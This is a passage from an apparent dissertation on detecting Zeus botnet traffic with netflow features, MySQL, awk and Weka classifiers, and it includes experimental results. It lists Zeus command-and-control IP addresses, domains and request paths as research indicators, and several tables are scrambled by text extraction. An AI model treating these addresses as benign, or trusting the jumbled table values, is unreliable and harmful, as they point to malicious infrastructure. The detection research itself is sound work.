Figure 3-9 illustrates the command for creating the table “interlogs” for the interaction
log data. The time was again stored in “datetime” format with resolution to the second.
However, the event times were captured with resolution only to the minute.
mysql> create table interlogs (time datetime, event varchar(4),
ampl varchar(64), id int not null auto_increment primary key);

Figure 3-9. Create Tables for Interaction Log Entries
Loading data into the database tables included a preprocessing step to select only
netflows of TCP connections. First, all of the netflow files were combined into aggregate
files for each month (April, May, June, and July) using the cat command. Then the
TCP entries were selected using the grep command. This resulted in the numbers of
lines seen in Table 3-7. The files of TCP netflows for each month were then combined
into a single file, again using the cat command, in preparation for loading into the
database table.
Table 3-7. Volume of Benign TCP Netflows
Input File

# Total Lines

Output File

# TCP Lines

ra-all-04

793,891

all-tcp-apr

487,490
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ra-all-05

799,754

all-tcp-may

461,306

ra-all-06

940,800

all-tcp-jun

570,442

ra-all-07

426,424

all-tcp-jul

240,457

Total

2,960,869

Total

1,759,695

The command for loading the benign TCP netflows into the database is illustrated in
Figure 3-10. The same procedure was used to load the Zeus netflows and interaction log
entries into their respective database tables. This resulted in 151 TCP netflows of “old”
Zeus (2010 samples) and 269 TCP netflows of “new” Zeus (2014 samples).
mysql> load data local infile '/home/theo/work/all-tcp-flows'
into table normflows fields terminated by ',';

Figure 3-10. Load Netflow Data into MySQL Table

At this point, creating integrated data files for use with the classifiers in the Weka
toolkit required exporting the desired data from the database tables, merging the
malicious data with the benign data, labeling the data as normal (norm) or Zeus, and
appending the ARFF (Attribute Relation File Format) header. Adding the interaction
feature to the integrated data files required an additional step that compared the netflow
times with the event log times. Figure 3-11 illustrates a MySQL command to select the
40 predetermined features from the table of benign netflows (normflows) for a specific
time period and export the results to a comma-separated-value (CSV) file.
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mysql> select unix_timestamp(time), proto, inet_aton(saddr),
sport, inet_aton(daddr), dport, dur, sbytes, dbytes, stos, dtos,
sttl, dttl, spkts, dpkts, sappbytes, dappbytes, sload, dload,
srate, drate, sloss, dloss, sintpkt, dintpkt, sjit, djit, state,
stcpb, dtcpb, tcprtt, synack, ackdat, flgs, tcpopt, dir, rate
from normflows where time > "2013-04-02 05:00:00" and time <
"2013-04-02 07:00:00" into outfile '2hr.txt' fields terminated by
',' enclosed by '"' lines terminated by '\n';

Figure 3-11. Selecting a Data Sample from the Database with Unix Time Format

Note that the function unix_timestamp() was used to return the timestamp as a
numeric value, and the function inet_aton() was used to return the source and
destination IP addresses as numeric values. Removing spaces from the fixed field values
and appending the class value was accomplished with the following awk command:
awk '{print $1 $2 $3 $4 $5 $6 $7 ",norm"}' 2hr.txt > 2hr.csv.

This process of selecting from the database table, formatting, and appending the class
value was repeated for the Zeus flows. The appropriate Zeus table name, output
filename, and class label were substituted in the select and awk commands.
The next step was to merge the resulting files of normal and Zeus netflows into a
single file and append the ARFF header for use with the classifiers in Weka. When the
time feature was to be considered by the classifiers, the Zeus netflows were inserted at
appropriate temporal points in the normal netflow file and time values adjusted
accordingly. When the times were not to be considered by the classifiers, the Zeus
netflows were simply appended to the end of the normal netflow file.
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For the companion data files with the interaction feature added, an additional
procedure was required. An awk script was used to compare netflow times from the
integrated the trace file with event times from the interaction log and append a positive
field-value (yy) to the netflow entry upon a successful match or a negative value (nn) for
those entries that did not match. The matching criteria consisted of numbers of seconds
before and after the time to be compared. Since the resolution of the timestamps for the
interaction log was only recorded to the nearest minute, those times were used in the awk
script as the basis. An example of the awk script is provided in Figure 3-12. The
command to run the script against a single file is as follows:
awk -f match30.awk infile > outfile

where “infile” is the file of integrated normal and Zeus netflows and “outfile” is that same
file with the interaction feature appended to each line based on the criteria in the script.
# Name: match30.awk
# Desc: awk script using first field of log file (timestamp)
#

as matching criteria for first field of trace file

# Usage: awk -f match30.awk <file>
# Comments: Expects time-to-second from unix_timestamp
#

Currently set to plus or minus 30 seconds

# T.O.Cochran
#
BEGIN { while ("cat appLog1" | getline)
tts[++i]=$1
FS=","
}
{ printf $0
for (i in tts)
if( $1 <= ( tts[i] + 30 ) && $1 >= ( tts[i] -30 ) ) {
print ",yy"
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next
}
print ",nn"
}

Figure 3-12. Script for Adding Interaction Feature

The ARFF header defined the type of value for each attribute, numeric or nominal
(categorical). Figure 3-13 illustrates the content of the ARFF header. The possible
values for each nominal attribute were provided within braces and separated by commas
following the attribute name. For example, the nominal attribute “proto” had two
possible values, “tcp” and “udp.”

@relation 2hr
@attribute time numeric
@attribute proto {tcp,udp}
@attribute saddr numeric
@attribute sport numeric
@attribute daddr numeric
@attribute dport numeric
@attribute dur numeric
@attribute sbytes numeric
@attribute dbytes numeric
@attribute stos {0,16,32}
@attribute dtos {0,16,32,33,34,128}
@attribute sttl
{36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,5
7,64,80,81,84,86,108,109,110,111,112,113,116,117,121,128,233,234,
235,236,237,238,239,240,241,242,243,244,245}
@attribute dttl
{0,28,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49
,50,51,52,53,54,55,56,57,58,62,63,64,80,81,82,83,84,85,86,96,102,
103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,1
21,128,183,185,187,188,189,190,231,232,233,234,235,236,237,238,23
9,240,241,242,243,244,245,255}
@attribute spkts numeric
@attribute dpkts numeric
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@attribute sappbytes numeric
@attribute dappbytes numeric
@attribute sload numeric
@attribute dload numeric
@attribute srate numeric
@attribute drate numeric
@attribute sloss
{0,1,2,3,4,5,6,7,8,10,12,14,15,16,17,18,21,23,26,29,35,36,38,41,4
4,46,88,171,327}
@attribute dloss
{0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,4
6,47,48,49,50,51,53,54,55,56,57,58,61,62,63,67,69,71,74,75,76,77,
79,80,81,83,87,90,94,95,102,103,124,141,144,146,152,155,157,176,1
88,226}
@attribute sintpkt numeric
@attribute dintpkt numeric
@attribute sjit numeric
@attribute djit numeric
@attribute state {ACC,CON,FIN,INT,RST,REQ,RSP}
@attribute stcpb numeric
@attribute dtcpb numeric
@attribute tcprtt numeric
@attribute synack numeric
@attribute ackdat numeric
@attribute flgs
{"",e,ed,ei,er,es,e&,erD,eS,eU,e*,edS,eD,eUs,erS,eTs,eg,e&S,esS,e
&D,eiS,edD,egS}
@attribute tcpopt {"",Ms,MsS,Mws,MwsS,MwsT,MwsST,T,S,ST}
@attribute dir {"",->,<-,<->,<?>,?>,<?}
@attribute rate numeric
@attribute class {norm,zeus}
@attribute interaction {yy,nn}
@data
// outfile records go here

Figure 3-13. ARFF Header
The Weka tool kit includes a utility for validating the format of an ARFF data file
prior to use with classifiers and other utilities. The command line version of this utility is
as follows: java weka.core.Instances file.arff where “file.arff” is the data
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file with ARFF header. In addition to identifying any formatting errors, this utility also
summarizes the attribute values within the data file. Figure 3-14 provides an example of
the output of this utility.
Relation Name: 2hr-i-all
Num Instances: 4328
Num Attributes: 39

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

Name
time
proto
saddr
sport
daddr
dport
dur
sbytes
dbytes
stos
dtos
sttl
dttl
spkts
dpkts
sappbytes
dappbytes
sload
dload
srate
drate
sloss
dloss
sintpkt
dintpkt
sjit
djit
state
stcpb
dtcpb
tcprtt
synack
ackdat
flgs
tcpopt
dir
rate

Type
Num
Nom
Num
Num
Num
Num
Num
Num
Num
Nom
Nom
Nom
Nom
Num
Num
Num
Num
Num
Num
Num
Num
Nom
Nom
Num
Num
Num
Num
Nom
Num
Num
Num
Num
Num
Nom
Nom
Nom
Num

Nom
0%
100%
0%
0%
0%
0%
0%
0%
0%
100%
100%
100%
100%
0%
0%
0%
0%
0%
0%
0%
0%
100%
100%
0%
0%
0%
0%
100%
0%
0%
0%
0%
0%
100%
100%
100%
0%

Int Real
100%
0%
0%
0%
99%
1%
100%
0%
88% 12%
100%
0%
19% 81%
100%
0%
100%
0%
0%
0%
0%
0%
0%
0%
0%
0%
100%
0%
100%
0%
100%
0%
100%
0%
55% 45%
74% 26%
55% 45%
74% 26%
0%
0%
0%
0%
43% 57%
67% 33%
77% 23%
80% 20%
0%
0%
51% 49%
45% 55%
12% 88%
12% 88%
12% 88%
0%
0%
0%
0%
0%
0%
19% 81%

Missing
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%
0 / 0%

Unique
285 / 7%
0 / 0%
1 / 0%
235 / 5%
17 / 0%
18 / 0%
3392 / 78%
491 / 11%
642 / 15%
0 / 0%
0 / 0%
1 / 0%
0 / 0%
22 / 1%
39 / 1%
439 / 10%
619 / 14%
1913 / 44%
1116 / 26%
1853 / 43%
1124 / 26%
0 / 0%
1 / 0%
2412 / 56%
1432 / 33%
1009 / 23%
883 / 20%
0 / 0%
1010 / 23%
1000 / 23%
254 / 6%
252 / 6%
129 / 3%
0 / 0%
0 / 0%
1 / 0%
3325 / 77%

Dist
745
1
13
1205
284
28
3446
626
741
2
4
9
43
57
75
564
702
1927
1118
1888
1126
4
4
2447
1438
1012
884
4
1934
1731
1034
1018
704
9
7
4
3398
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38 class
39 interaction

Nom 100%
Nom 100%

0%
0%

0%
0%

0 /
0 /

0%
0%

0 /
0 /

0%
0%

2
2

Figure 3-14. Sample Results of Validating an ARFF Data File

Classifier Comparison Approach
The approach to comparing classifier results was to use the Weka command line
interface with the data files of integrated normal and Zeus netflows described in the
previous section. The goal was to compare the performance of the classifiers in terms of
true and false positive rates across a range of conditions, first without the interaction
feature added, then with the interaction feature added. The results of each classification
attempt were sent to a file for subsequent visual inspection and comparative analysis.
The final entry in each file of results was a confusion matrix which enumerated the true
and false positives for each class. Figure 3-15 illustrates this confusion matrix.
=== Confusion Matrix ===
a
17052
2

b
<-- classified as
0 |
a = norm
1 |
b = zeus

Figure 3-15. Confusion Matrix in Results File
The command line interface of Weka made it easy to perform classification using
cross validation within a data set and classification using separate training and testing
data sets. The former required the switch –t followed by the name of the single data set,
and the latter required two switches, –t followed by the name of the training data set and
–T followed by the name of the testing data set. The switch –c followed by a number
identified the position of the class attribute in the ARFF file. Since the classifiers default
to using the last attribute, this parameter was required for files with the interaction feature
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added after the class attribute. Figure 3-16 illustrates two commands, the first for
classification of a single data file named “all.arff” using a Naïve Bayes classifier and tenfold stratified cross validation, and the second for classification of that same file using a
Random Forest classifier with ten-fold stratified cross validation. Figure 3-17 illustrates
two commands, the first for classification using a Naïve Bayes classifier trained with the
contents of “trn.arff” and tested with the contents of “tst.arff,” and the second for
classification using a Random Forest classifier trained with the contents of “trn.arff” and
tested with the contents of “tst.arff.”
prompt$ java -Xmx2G weka.classifiers.bayes.NaiveBayes -t all.arff
–c 38 > out1a
prompt$ java -Xmx2G weka.classifiers.trees.RandomForest -t
all.arff –c 38 > out1b

Figure 3-16. Commands to Compare Classifier Results – Cross Validation

prompt$ java -Xmx2G weka.classifiers.bayes.NaiveBayes -t trn.arff
–c 38 -T tst.arff > out1a
prompt$ java -Xmx2G weka.classifiers.trees.RandomForest -t
trn.arff –c 38 –T tst.arff > out1b

Figure 3-17. Commands to Compare Classifier Results – Separate Training/Testing

Another important element of the approach to comparing the results of the different
classifiers was the ability to selectively remove attributes from consideration. The Weka
tool kit provided another utility for this purpose. This utility took an input ARFF file,
removed attributes identified by their ordered position, and produced an output ARFF
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file. The resulting ARFF file of fewer features was used in the same manner as the
original. Figure 3-18 shows an example of this utility being invoked from the command
line and removing the first attribute with the –R switch followed by the number 1.
prompt$ java weka.filters.unsupervised.attribute.Remove -R
1 -i test1both.arff -o test1nodate.arff
Figure 3-18. Command to Remove an Attribute

Summary
The research approach presented in this chapter described all the steps needed in order
to prepare relevant data for classification and then to actually perform the classification.
Preparing relevant data included steps for generating and acquiring data from multiple
sources, steps for integrating data, and steps for constructing and selecting features from
the data. The content of the data was described as were changes to the content over time.
The use of Argus, MySQL, and Weka to support data preparation was discussed, as was
the use of Weka to perform classification.
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Chapter 4
Results

Data Analysis
The detailed analysis presented in Appendix A revealed new knowledge about the
network behavior of contemporary variants of the Zeus botnet from samples captured in
the wild during March and April of 2014. This analysis also served to determine which
of the network communications contained in the samples were most appropriate for the
training and testing of detection techniques. A total of fifteen sample network trace files
were examined. Seven of the samples, all those that employed the domain generation
algorithm (DGA), were found to contain no HTTP POST requests and therefore deferred
for publication elsewhere. The infected clients in those samples did not send any content
to the malicious servers, detection of which was the focus of this research. Eight of the
samples were found to contain POST requests with encrypted content, consistent with the
communications behavior reported for Zeus by other researchers (Al-Bataineh & White,
2012; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, & Wang, 2010;
Riccardi, Di Pietro, Palanques, & Vila, 2013). The HTTP requests and responses in each
of these samples were thoroughly analyzed at the inter-packet level to gain deeper insight
into their observable network behavior and to determine which corresponding netflows
would be most appropriate for training and testing the detection techniques in this
research.
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Discovering Zeus servers that were not previously reported was an expected outcome
of this analysis given that these were new sample traces provided by the operators of
Sandnet and that criminal operators of Zeus servers dynamically change hostnames and
IP addresses to avoid detection. After a thorough search of the Internet for information
about the Zeus botnet, the ZeuS Tracker web site (https://zeustracker.abuse.ch/) was
found to be the most comprehensive and authoritative reference for previously observed
Zeus servers and therefore used in this research. Table 4-1 lists the servers determined to
be associated with Zeus network activity in these samples and highlights which Zeus
servers were previously identified. Six of the IP addresses and four of the domain names
were new discoveries.
Table 4-1. Malicious Servers in Selected 2014 Zeus Samples
Sample
File
32c
32c
b8c
2d7
9ca
9ca
054
3f9
3f9
3b7
058

Server IP Address
173.255.227.44
92.51.171.104
37.0.123.150
199.201.122.227
200.98.246.214
85.158.181.11
92.63.98.3
184.22.237.213
184.22.237.213
188.226.212.147
95.128.157.163

Previously
Known?
No
No
No
Yes
Yes
No
No
Yes
Yes
No
Yes

Server Domain Name
tandembikesoftware.com
moneytrax.de
n/a
ad-amirsarvi.ir
saudeodontos.com.br
www.two-of-us.at
n/a
crayolabank.ru
bingbangtheory.ru
delapotalcopa.pw
www.decoagua.com

Previously
Known?
No
No
n/a
Yes
Yes
No
n/a
Yes
Yes
No
Yes

Discovering new resource names and filenames was also an expected outcome of this
analysis, since these are under the criminal operator’s control and would seem obvious
items to change in order to elude detection techniques that rely on fixed strings.
Discovering variations in the request intervals was also expected since this parameter is
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also under the operator’s control and is enabled by the Zeus crimeware toolkit (AlBataineh & White, 2012; Riccardi, Di Pietro, Palanques, & Vila, 2013). An unexpected
discovery was the use of the HTTP POST method by infected clients to request file
updates. None of the previous research teams (Al-Bataineh & White, 2012; Alserhani,
Akhlaq, Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef,
Debbabi, & Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013) reported this
technique in their findings. The use of the POST method with an encrypted payload to
request configuration files was observed in a majority of these 2014 samples as
summarized in Table 4-2.
Table 4-2. Summary of Selected 2014 Zeus Samples
2d7
199.201.122.227
POST
file.php
4 minutes
config.dll
cit_video_module
cit_ffcookie_module
199.201.122.227
POST
gate.php
3 minutes
Not observed
Not observed
Not observed

3f9
184.22.237.213
POST
file.php
4 minutes
config.dll

Send Info Request Server
Send Info Request Method
Send Info Request Resource
Send Info Request Interval
Other File Request Server
Other File Request Method
Other File Request Resource

9ca
200.98.246.214
POST
file.php
4 minutes
config.dll
cit_video_module
cit_ffcookie_module
200.98.246.214
POST
gate.php
3 minutes
85.158.181.11
GET
file.exe

Config File Request Server
Config File Request Method
Config File Request Resource
Config File Request Interval
Config File Response Filename
Send Info Request Server
Send Info Request Method
Send Info Request Resource
Send Info Request Interval
Other File Request Server

058
95.128.157.163
POST
index.php
Not observed
deco.bin
95.128.157.163
POST
gate.php
Not observed
Not observed

b8c
37.0.123.150
POST
o.bin
2 minutes
37.0.123.150
POST
t.php
2 minutes
Not observed

3b7
188.226.212.147
Not observed
Not observed
Not observed
Not observed
188.226.212.147
POST
post2host.php
Not observed
188.226.212.147

Config File Request Server
Config File Request Method
Config File Request Resource
Config File Request Interval
Config File Response Filename

184.22.237.213
POST
gate.php
3 minutes
Not observed
Not observed
Not observed
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Other File Request Method
Other File Request Resource

Not observed
Not observed

Not observed
Not observed
32c
92.51.171.104
GET
file.php

Config File Request Interval
Config File Response Filename
Send Info Request Server

054
92.63.98.3
GET
config.bin
mod1.bin
mod2.bin
mod3.bin
4 minutes
92.63.98.3

Send Info Request Method
Send Info Request Resource
Send Info Request Interval
Other File Request Server
Other File Request Method
Other File Request Resource

POST
cde.php
3 minutes
Not observed
Not observed
Not observed

Config File Request Server
Config File Request Method
Config File Request Resource

Not observed
Not observed
92.51.171.104
173.255.227.44
POST
file.php
Not observed
Not observed
Not observed
Not observed

GET
res.exe
Literature
GET
config.bin

POST
gate.php
2 minutes

Only one of the eight sample files, file 054, included successful requests by the infected
client for configuration file updates using the GET method as reported in the literature.
File 32c, included requests by the infected client using the GET method which appeared
to be for configuration file updates, but none of the requests resulted in a successful
response. File 3b7 did not include a request for configuration file updates using either
method but did include a request using the GET method for a supplemental file. This
followed an apparent command from the server in response to the previous request using
the POST method. This use of the GET method was also observed in file 9ca.
The use of the POST method with encrypted payload to request configuration file
updates is significant for multiple reasons. It represents a more sophisticated technique
than the use of GET with no payload because it allows additional information to be sent
along with the request. This capability could be leveraged to reduce the frequency of
network connections and reduce the malware’s overall footprint, for example. This new
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technique also alters the reported, and therefore expected, network behavior of a host
infected with Zeus that some intrusion detection techniques may depend on.
Each of the eight sample files analyzed here were found to include TCP connections
with Zeus HTTP requests and responses that were suitable for training and testing
detection methods. Only two of the files were missing primary elements of the Zeus
communications pattern described as requesting and receiving updated configuration files
and sending status updates and stolen data (Al-Bataineh & White, 2012; Alserhani,
Akhlaq, Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef,
Debbabi, & Wang, 2010; Kirk, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013). In
aggregate, the files presented a reasonably complete and diverse set of samples for this
research. Some previous researchers reported using a larger number of Zeus samples, but
none reported using Zeus datasets with as much variety. Mohaisen and Alrawi (2013)
reported using a dataset of 1,980 Zeus samples but did not elaborate on the relative
homogeneity of the data. Al-Bataineh and White (2012) reported that 239 examples in
their dataset established connections with C&C servers. They did not comment on the
number of Zeus variants, but their findings suggested a homogeneous set. Because the
focus of their research was different, Alserhani, Akhlaq, Awan, and Cullen (2010),
Binsalleeh et al. (2010) and Riccardi et al. (2013) used the Zeus crimeware toolkit to
create a single variant of Zeus for their respective network analyses. The sample files
likely here represent at least five variants of Zeus, as depicted in Table 4-2, providing
both a contemporary and a diverse set of netflows for the experimentation.
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Experiments
Experimentation consisted of comparing the performance of two classifiers in terms of
true and false positives across a range of controlled conditions, first without the user
interaction feature added, then with this feature added. The other controlled variables
included the number of benign instances (netflows), the number of Zeus instances (also
netflows), the number of features, the type of features (numeric and nominal), the type of
Zeus instance, the size of the training and testing subsets, and the ratio of malicious
instances in the training and testing subsets. This comparison required an environment
where the malware activities were known, therefore known bot malware activity was
integrated with benign network trace data. Observable parameters included a subset of
those features of a TCP connection that the Argus software creates to describe a netflow.
Benign network traffic was generated on an isolated test network. Malicious network
traffic was injected from samples of actual Zeus bot activity captured in the wild.
Experimentation with the netflow data was divided into separate rounds for each
variation of instances or features. The first phase of each round did not include the
interaction feature, the second phase did. A single data set was used for both training and
testing in the odd numbered rounds. From that single data set, ten folds (internal subsets)
were used for cross validation. Separate data sets were used for training and testing in
the even numbered rounds. When separate training and testing sets were used, their roles
were reversed and the process repeated in order to reveal sensitivity to any particular
training data. Mohaisen and Alrawi (2013) employed this technique in their assessment
of five classifiers and found that training set selection significantly affected the
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performance of their Decision Trees classifier (similar to a Random Forest). Regarding
the type of features, Haddadi, Runkel, Zincir-Heywood, and Heywood (2014) found that
encoding certain flag features from netflows had a significant impact on classifier
performance against Torpig and Zeus.

Establish the performance of the classifiers across data sets of different sizes using
only a small, homogeneous set of malicious samples for training and testing
The initial data sets consisted of two hours, 24 hours, and two weeks’ worth of benign
network trace data, respectively. The trace data was converted to netflows using the
Argus software, as previously described. Similarly, the samples of actual Zeus network
traffic were also converted to netflows and then selectively added to the three data sets.
The two-hour data set consisted of 4,313 benign flows and 15 Zeus flows, the 24-hour
data set consisted of 7,800 benign flows and 15 Zeus flows, and the two-week data set
consisted of 280,423 benign flows with 15 Zeus flows. The Zeus netflows were drawn
from multiple trace files and partitioned into subsets of eight and seven for rounds with
separate training and testing, as depicted in Table 4-3. These netflows represent (new)
2014 Zeus examples of data being sent from the infected host to a remote server.
Table 4-3. Zeus Samples Used in First Rounds of Experimentation
daddr
199.201.122.227
199.201.122.227
199.201.122.227
199.201.122.227
184.22.237.213
184.22.237.213
184.22.237.213
184.22.237.213
200.98.246.214

inet_aton(daddr)
3351870179
3351870179
3351870179
3351870179
3088510421
3088510421
3088510421
3088510421
3361928918

sport
1033
1033
1036
1036
1032
1032
1032
1032
1032

sbytes
4123
120
894
120
968
846
698
60
3353
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200.98.246.214
200.98.246.214
200.98.246.214
200.98.246.214
200.98.246.214
200.98.246.214

3361928918
3361928918
3361928918
3361928918
3361928918
3361928918

1032
1032
1035
1035
1040
1040

585
60
1712
60
8788
60

For this set of experiments, the time feature was removed so the sequencing of the
Zeus flows was not relevant. In total, six features were removed from the base set of 38
features using Weka’s Remove command. Those six features, numbering 1, 2, 3, 4, 29,
and 30 correspond to time, proto, saddr, sport, stcpb, and dtcpb, respectively. Time was
removed in order to allow processing by the Naïve Bayes classifier. Protocol was
removed because it had only the single value TCP. Source Port and Source Address were
removed because they were not relevant and because arbitrary changes would have to be
made to the Zeus samples to synchronize the numbering schemes properly. The Source
and Destination TCP Base numbers were removed for the same reason. They were
produced on a different host than the benign traffic. Preliminary experiments quickly
revealed that the saddr, sport, stcpb, and dtcpb features artificially improved the
performance of the Naïve Bayes classifier because the differences in values from the
different source networks, home for benign and honeynet for Zeus, were statistically
significant. Celik, Raghuram, Kesidis, and Miller (2011) reported a similar condition for
timing-based features, namely round-trip time (RTT), when ‘salting’ benign network
traces with malicious samples obtained from a different network. In Round 7 of this
work, RTT is among the features removed for comparison.
Table 4-4. Round 1-1 Results
No interaction feature; 10-fold cross-validation
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Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2hr

NB

4313

15

15

1

505

.117

2hr

RF

4313

15

14

.933

0

0

24hr

NB

7800

15

14

.933

1480

.190

24hr

RF

7800

15

11

.733

0

0

2wk

NB

280423

15

14

.933

50604

.180

2wk

RF

280423

15

9

.600

0

0

Results using the two hour data set, the first two rows of Table 4-4, revealed what
would become a clear trend: the Naïve Bayes classifier achieves a higher true positive
rate at the expense of false positives, whereas the Random Forest classifier achieves a
lower false positive rate at the expense of true positives. The Naïve Bayes classifier
detected all 15 of the Zeus flows but with 505 false positives for a false positive rate of
12%. The Random Forest classifier detected 14 of the 15 Zeus flows but with no false
positives. Results using the 24 hour data set show a decrease in the true positive rate and
a slight increase in the false positive rate of the Naïve Bayes classifier which correctly
classified 14 of the 15 Zeus netflows, but with 1,480 false positives. Results using the 24
hour data set show a decrease in the true positive rate of the Random Forest Classifier
which correctly classified 11 of the 15 Zeus netflows, but with no false positives. Results
using the two week data set revealed a similar performance decline for the two classifiers
over the two hour data set, and for the Random Forest classifier over the 24 hour data set.
The performance of the Naïve Bayes classifier was nearly equivalent across the 24 hour
and two week data sets. The Naïve Bayes classifier again correctly classified 14 of the
15 Zeus netflows, so its true positive rate remained the same as with the 24 hour data set,
and with 50,604 false positives for a false positive rate of 18% compared with 19% for
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the 24 hour data set and 12% for the two hour data set. The Random Forest classifier
correctly classified only nine of the 15 Zeus netflows, but again with no false positives.
In summary, the performance of both classifiers was best with the smallest data set and
declined with the larger data sets when using 10-fold stratified cross validation within
each data set. The true positive rate of the Naïve Bayes classifier was consistently better
than the true positive rate of the Random Forest classifier, and the false positive rate of
the Random Forest classifier was consistently better than the false positive rate of the
Naïve Bayes classifier across these three data sets.
Compare the results when a new interaction feature is added.
For the next set of experiments, the same three data sets were used with the same
feature sets. However, a new “interaction” feature was added. The interaction feature had
two possible values, yes (yy) or no (nn), which was assigned to each benign netflow
based on its proximity in time to human interaction with the host. For the two-hour, 24hour, and two-week data sets here, the proximity in time to human interaction ranged
from 45 seconds before to 75 seconds after a corresponding event in the interaction log.
The time range was necessary to accommodate the difference in time resolution between
the times assigned to the netflows using Argus and the timestamps on the interaction log
entries using KidLogger. This particular time range was determined through preliminary
experiments and is described in more detail later in this chapter. All of the Zeus netflows
were assigned a value of no (nn) for the interaction feature. These netflows represent the
bot autonomously sending information to the controller after infection which was
independent of human interaction. The objective was to determine whether this feature
made a difference in the performance of the classifiers.
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Table 4-5. Round 1-2 Results
Added interaction feature; 10-fold cross-validation
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2hr

NB

4313

15

15

1

454

.105

2hr

RF

4313

15

13

.867

0

0

24hr

NB

7800

15

14

.933

1435

.184

24hr

RF

7800

15

11

.733

0

0

2wk

NB

280423

15

14

.933

50348

.180

2wk

RF

280423

15

10

.667

0

0

Results using the two hour data set with the interaction feature added, the first two
rows of Table 4-5, revealed that the true positive rate of the Naïve Bayes classifier
remained unchanged at 15 of 15 but the number of false positives decreased from 505 of
4,313 to 454 of 4,313. The true positive rate of the Random Forest classifier declined
slightly, detecting 13 of 15 Zeus netflows compared with 14 of 15 without the interaction
feature. The Random Forest classifier produced no false positives in either case. Results
using the 24-hour data set revealed a similar improvement to the false positive rate of the
Naïve Bayes classifier, which produced 1435 of 7800 possible false positives (18%)
compared with 1480 (19%) previously. Its true positive rate remained the same at 14 of
15. The true positive rate of the Random Forest classifier also remained the same at 11 of
15 with the 24-hour data set, as did its zero false positive rate. Results from the larger,
two-week data set also showed a decrease in the number of false positives produced by
the Naïve Bayes classifier, 50,348 comparted with 50,604 previously, while the number
of true positives remained constant at 14 of 15. The true positive rate of the Random
Forest classifier, however, improved with this data set. It detected 10 of 15 Zeus
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netflows compared with nine of 15 without the interaction feature while maintaining a
zero false positive rate. These results indicate that the introduction of the interaction
feature made a measurable improvement to the performance of the Naïve Bayes classifier
across all three data sets in terms of false positives. The introduction of the interaction
feature made a measurable improvement to the performance of the Random Forest
classifier in terms of true positives in only the largest of the three data sets. In the
smallest data set, the number of true positives decreased.
For the next comparisons, each of the three data sets was divided into separate training
and testing subsets. The first 80% of the flows were used to form the training set and the
remaining 20% of the flows were used to form the testing set. The Zeus samples were
split evenly across the training and testing subsets, keeping flows to the same destination
address (daddr) together as depicted by the shading in Table 4-3. After the classifiers
were trained and tested using this partitioning of the data set, the training and testing roles
were reversed and the classifiers were then trained with the smaller subset (20%) and
tested with the larger (80%). The results are listed in Table 4-6.
Table 4-6. Round 2-1 Results
No Interaction Feature; Separate Training/Testing Subsets
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2hr train/test

NB

863

7

4

.571

2

.002

2hr train/test

RF

863

7

1

.167

0

0

2hr test/train

NB

3450

8

6

.750

246

.071

2hr test/train

RF

3450

8

0

0

0

0

24hr train/test

NB

1560

7

5

.714

106

.068

24hr train/test

RF

1560

7

1

.167

0

0

24hr test/train

NB

6240

8

7

.875

360

.058

105

24hr test/train

RF

6240

8

0

0

0

0

2wk train/test

NB

56085

7

5

.714

1291

.023

2wk train/test

RF

56085

7

0

0

0

0

2wk test/train

NB

224338

8

8

1

12178

.054

2wk test/train

RF

224338

8

0

0

0

0

Results using the two hour data set partitioned into separate training and test subsets
were significantly less accurate than the results using stratified cross validation across 10
folds of the same data set. The results of this round were also quite different when the
training and testing roles were reversed. In the first run of this phase, shown as the first
two rows for each data set in Table n., the larger subset with eight Zeus netflows was
used to train the classifiers and the smaller subset with seven Zeus netflows was used to
test them. The Naïve Bayes classifier detected four of the seven the Zeus netflows with
two false positives. The Random Forest classifier detected one of the seven with no false
positives. In the second run of this phase, the smaller subset with seven Zeus netflows
was used to train the classifiers and the larger subset with eight Zeus netflows was used
to test them. This time the Naïve Bayes classifier detected six of the eight Zeus netflows
but with more false positives, 246 compared with 2 previously. The Random Forest
classifier detected none of the eight Zeus netflows but again with no false positives.
Results using the 24 hour data set partitioned into separate training and test subsets
also revealed significant differences from the cross-validation results and when the
training and testing roles were reversed. In the first run, the larger subset with eight Zeus
netflows was used to train the classifiers and the smaller subset with seven Zeus netflows
was used to test them. The Naïve Bayes classifier detected five of the seven Zeus
netflows with 106 false positives. The Random Forest classifier detected only one of
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seven, but with no false positives. In the second run, the smaller subset with seven Zeus
netflows was used to train the classifiers and the larger subset with eight Zeus netflows
was used to test them. The Naïve Bayes classifier detected seven of eight Zeus netflows
but with more false positives than before, 360 compared with 106 previously. The
Random Forest classifier did not detect any of the eight Zeus netflows but generated no
false positives.
Results using the two-week data set partitioned into separate training and test subsets
again revealed differences from the cross validation results and when the training and
testing roles were reversed. In the first run, the larger subset with eight Zeus netflows
was used to train the classifiers and the smaller subset with seven Zeus netflows was used
to test them. The Naïve Bayes classifier detected five of the seven Zeus netflows; the
Random Forest classifier detected none. The Naïve Bayes classifier generated 1,291
false positives; the Random Forest classifier generated none. In the second run, the
smaller subset with seven Zeus netflows was used to train the classifiers and the larger
